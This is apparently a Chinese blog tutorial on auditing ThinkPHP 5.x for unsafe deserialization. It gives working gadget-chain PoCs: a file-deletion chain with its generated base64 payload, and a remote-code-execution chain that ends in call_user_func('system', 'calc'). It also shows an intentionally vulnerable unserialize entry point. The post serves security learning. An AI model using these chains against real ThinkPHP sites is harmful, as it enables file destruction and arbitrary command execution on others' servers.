Skip to main content

MVC-PHP代码审计5-框架-反序列化构建链

·249 words·2 mins
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

MVC-PHP代码审计5-框架-反序列化
#

判断是否是框架:
	搜索version  THINK_VERSION
	判断语法
	看文件名
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

案例一:ThinkPHP-反序列化链文件删除
#

看版本

比如本身有一个反序列化入口,并且这个入口可以控制

    public function unser()
    {
        //漏洞产生点
        //如果在实际审计中发现类似代码就可以利用tp反序列化触发出rce
        unserialize(base64_decode($_GET['id']));
        return "unser!";
    }
    

全局搜索找到几个必触发的函数

发现ThinkPHP-v5.1.29\thinkphp\library\think\process\pipes\Windows.php

这个函数调用了removefiles直接就是任意文件删除简单粗暴

    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }
    
        private function removeFiles()
    {
        foreach ($this->files as $filename) {
            //system($filename);
            if (file_exists($filename)) {
                @unlink($filename);//文件删除
            }
        }
    

构建反序列化链条

<?php

namespace think\process\pipes;

class Pipes{}

class Windows extends Pipes
{

    private $files = ['E:\phpstudy_pro\WWW\ThinkPHP-v5.1.29\flag.txt'];
}
$starrui = new Windows();
echo base64_encode(serialize($starrui));
生成下面代码然后访问注入进去
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjQ1OiJFOlxwaHBzdHVkeV9wcm9cV1dXXFRoaW5rUEhQLXY1LjEuMjlcZmxhZy50eHQiO319

1

路径就是基本的index.php/index/index 默认路径

允许后直接删除了文件

1

案例二-反序列化链RCE执行
#

ThinkPHP 5.0/5.1 版本的历史遗留问题,官方在后续版本中逐步修复

链条

Attribute.php:480, think\model\Pivot->getValue()

Attribute.php:457, think\model\Pivot->getAttr()

Conversion.php:173, think\model\Pivot->toArray()

Conversion.php:252, think\model\Pivot->toJson()

Conversion.php:268, think\model\Pivot->__toString()

Windows.php:163, file_exists()

Windows.php:163, think\process\pipes\Windows->removeFiles()

Windows.php:59, think\process\pipes\Windows->__destruct()

先是到了file_exists然后找tostring找到visible因为它是不存在的所以调用__call然后找isAjax使用return call_user_func_array($this->hook[$method], $args);来调用jsAjax这才是下面代码调用这个函数原因往下找到call_user_func可以直接执行RCE ,call_user_func_array不行是因为有array_unshift($args, $this);相当于往前面加了一行变了

所以call是跳板找到了isAjax

__destruct->removeFiles->file_exists->__toString->toJson->toArray->visible->__call->isAjax->param->input->filterValue->call_user_func

POC
<?php
//__call->isAjax->param->input->filterValue->call_user_func

namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $mergeParam = true;
    protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径
    protected $config = [
        'var_ajax'         => '',
    ];
    function __construct(){
        $this->hook=['visible'=>[$this,'isAjax']];
        $this->filter=['system'];
    }
}

//__toString->toJson->toArray->visible->

namespace think;
abstract class Model{
    protected $append = [];
    private $data=[];
    function __construct(){
        $this->append=['star'=>['']];
        $this->data=['star'=>new Request()];
    }
}

//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}

//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files=[new Pivot()];
    }
}

echo base64_encode(serialize(new Windows()));

1

解析下


Windows->__destruct() → removeFiles() → file_exists(Pivot)  
↓  
Pivot->__toString() → toJson() → toArray()  
↓  
处理$append=['star'=>['']] → 调用Request->visible([''])  
↓  
Request->__call() → 转发到isAjax()  
↓  
isAjax() → param('') → input(['calc']) → filterValue()  
↓  
call_user_func('system', 'calc') → 命令执行

Related

MVC-PHP代码审计4-框架-SQL注入
·309 words·2 mins
MVC-PHP代码审计2
·204 words·1 min
MVC-PHP代码审计3-反序列化-原生-框架-phar
·452 words·3 mins
MVC-PHP代码审计
·336 words·2 mins
Logi靶机-maze-JWT-Ti15中国队加油!
·265 words·2 mins